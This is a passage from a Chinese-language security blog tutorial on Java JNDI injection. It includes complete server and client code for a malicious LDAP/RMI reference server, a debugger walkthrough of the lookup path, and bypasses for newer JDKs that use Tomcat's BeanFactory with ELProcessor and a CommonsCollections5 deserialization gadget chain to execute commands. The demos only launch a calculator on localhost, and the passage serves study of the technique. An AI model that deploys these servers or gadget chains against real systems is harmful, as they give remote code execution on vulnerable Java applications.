55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package JNDI;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_EVIL_Server {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8888/#Test"};
        int port = 2333;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "fupanc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

然后再编写一个客户端来请求:

1
2
3
4
5
6
7
8
9
package JNDI;

import javax.naming.directory.InitialDirContext;

public class LDAP_Client {
    public static void main(String[] args) throws Exception {
        Object object = new InitialDirContext().lookup("ldap://127.0.0.1:8888/Test");
    }
}

然后还是使用之前的恶意类,按照之间的操作编译class文件并起一个http服务。

然后启动服务端,再启动客户端就可以成功弹计算机:

代码调试

LDAP_Client端

对应代码:

1
Object object = new InitialDirContext().lookup("ldap://127.0.0.1:2333/test");

前面一个InitialDirContext类的初始化也是说过的,大概就是实例化了InitialDirContext类及其父类InitialContext类,并将InitialContext类的myPops赋值为了一个空的Hashtable类。

然后重点看InitialDirContext类调用的lookup()方法

image-20241011214642287

老朋友了,不多说,第一部分: image-20241011214717064

然后调用getURLContext()方法: image-20241011214804770

然后调用getURLObject()方法: image-20241011214904617

然后获取到ldap服务的工厂类并调用工厂类ldapURLContextFactoy的getObjectInstance()方法: image-20241011215009793

然后实例化ldapURLContext类,里面有一个将其父类的父类GenericURLContext类的myEnv变量赋值为空的Hashtable类的操作。

所以第一部分是获取到了ldapURLContext类

——————

所以第二部分会调用ldapURLContext类的lookup()方法: image-20241011215856534

会调用到其父类的父类的lookup()方法: image-20241011215952468

这里需要注意的是this代表ldapURLContext类,所以会调用ldapURLContext类的getRootURLContext()方法,然后就会调用ldapURLContextFactory类的getUsingURLIgnoreRootDN()方法:

image-20241011220609839

最后获取到的结果如下:

image-20241011220737597

后面跟进调用的lookup()方法: image-20241011221227371

然后会调用LdapCtx类的p_lookup()方法: image-20241011221738263

跟进p_lookup()方法: image-20241011221835368

var4.getStatus()方法返回2,会匹配2的代码,跟进c_lookup()方法,直接看关键代码:

image-20241011223844694

这里的var4中存在LDAP的基本信息:

image-20241011223950395

这里的JAVA_ATTRIBUTES变量就是一个数组:

image-20241011224505879

所以if条件中获取到了值:

image-20241011224906966

然后调用了decodeObject()方法,在decodeObject()方法中调用了decodeReference()方法.

在这个decodeReference()方法方法中进行了Reference类的初始化:

image-20241011225546324

看传入的参数,并且最后返回了这个var5。

回到c_lookup()方法,最后调用了getObjectInstance()方法(这里的var3就是前面的Reference类):

image-20241011225927744

跟进方法:

image-20241011230440079

这里的代码是和前面JNDI_RMI的攻击的其中一部分代码都是差不多的,但是还是有点区别: image-20241012180416755

然后会调用getObjectFactoryFromReference()方法:

image-20241012182759577

然后会加载类,并且最后会实例化这个类,成功弹计算机:

image-20241012181352290

最后还是同样异常输出然后到catch语句。

注意事项

JDK版本对JNDI的利用有一定的限制,如下:

1
2
3
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本限制绕过

测试环境:JDK 8u411

——————

限制地点:

  • RMI:

image-20241012202928940

这里导致无法继续后面的操作。

利用本地Class作为Reference Factory

在前面说了,虽然我们不能从远程加载恶意的Factoy,但是我们可以在返回的Reference中指定Factory Class,即我们可以尝试利用本地的类,让本地的类来加载恶意代码。

工厂列必须实现javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。在这里可以利用org.apache.naming.factory.BeanFactory,完美符合,存在与Tomcat依赖包中,所以可以广泛使用。

在BeanFactory的getObjectInstance()中通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用sette方法为所有的属性赋值。而该Bean Class的类名、属性、属性值全都来自于Reference对象,均是攻击者可控的。

比如JNDI-Ldap就在下代码实例化Reference类:

image-20241012210150183

也就是如下设置Reference类:

image-20241012210327181

所以我们现在可以尝试将客户端获取到的Reference类指向可控恶意类。

继续往后面走,只要这里的getObjectFactoryFromReference类成功实例化指向类,而不像之前那样弹出计算机导致异常输出,这里就有机会调用到这个指向类的getObjectInstance()方法:

image-20241012212528683

——————

JNDI-RMI过程中获取Reference类是直接从数据流中读取的,可以自己跟跟,不赘述了,然后调用到指定类的getObjectInstance()方法是差不多的。

现在在pom.xml中引入这个存在BeanFactoy类的依赖来本地测试:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>8.5.20</version>
    </dependency>
代码实现及分析

直接给代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDI_RMI_Server_ByPass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
        resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Hello", referenceWrapper);
        System.out.println("Registry运行中......");
    }
}

然后现在就只需要先运行这个Server端,再运行客户端来请求即可。

注意:这是根据BeanFactory的代码逻辑,要求传入的Reference为ResourceRef类,并不是前面的Reference类。

所以当调用到decodeObject()方法时,方法中获取到的是ResourceRef类: image-20241012220437476

即这里的var3的值: image-20241012220612152

然后会调用NamingManager类的getObjectInstance()方法,直接到关键地方: 这个方法内会调用getObjectFactoryFromReference()方法,会加载并实例化BeanFactory类:

image-20241012221208969

return后就会调用到这个BeanFactory类的getObjectInstance()方法: image-20241012221312011

传入参数的参数简单说说:1.前面获取的ResourceRef类,2.Hello,3.RegistryContext类,4.空的Hashtabel类

给下RegistryContext类的值的情况:

image-20241012221738640

前面的分析中经常说这个类的创建,参数传递而已,不多说。

现在来跟进BeanFactory类的getObjectInstance()方法: image-20241012222507178

可以看到进入这个if语句的条件就是需要obj为ResouceRef类或其子类,这也就是为什么要传那个类。

看try语句,前三个不多说,获取的值情况: image-20241012223113364

然后进入第二个if条件,就会尝试加载javax.el.ELProcessor类,会成功加载到Class对象。继续往后看:

image-20241012223354026

会进入else语句,但是后面会报错,需要又引入一个依赖,如下:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>6.0.24</version>
</dependency>

继续看,

image-20241012230031257

可以看到将其放进了HashMap类中在后续代码中又将其取出利用;

image-20241012230155602

并直接调用:

image-20241013154232572

即现在就会调用到calc

利用LDAP返回序列化数据,反序触发本地Gadget

同样是利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget。

服务端代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package JNDI;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class LDAP_EVIL_Server {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) throws Exception{
        String[] args=new String[]{"http://127.0.0.1:8081/#test"};
        int port = 4444;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaSerializedData",CommonsCollections5());

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }

    private static byte[] CommonsCollections5() throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();

        return byteArrayOutputStream.toByteArray();
    }
}

客户端代码:

1
2
3
4
5
6
7
8
9
package JNDI;

import javax.naming.InitialContext;

public class LDAP_Client {
    public static void main(String[] args) throws Exception {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com");
    }
}

成功弹出计算机。

参考文章:

https://nivi4.notion.site/Java-JNDI-ddd6c46c271545598180799ab255e09a

https://www.javasec.org/javase/JNDI/

https://www.cnblogs.com/nice0e3/p/13958047.html#%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0

https://baicany.github.io/2023/08/19/jndi/#%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%ACJDK%E9%99%90%E5%88%B6%EF%BC%9A%E5%88%A9%E7%94%A8%E6%9C%AC%E5%9C%B0Class%E4%BD%9C%E4%B8%BAReference-Factory

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计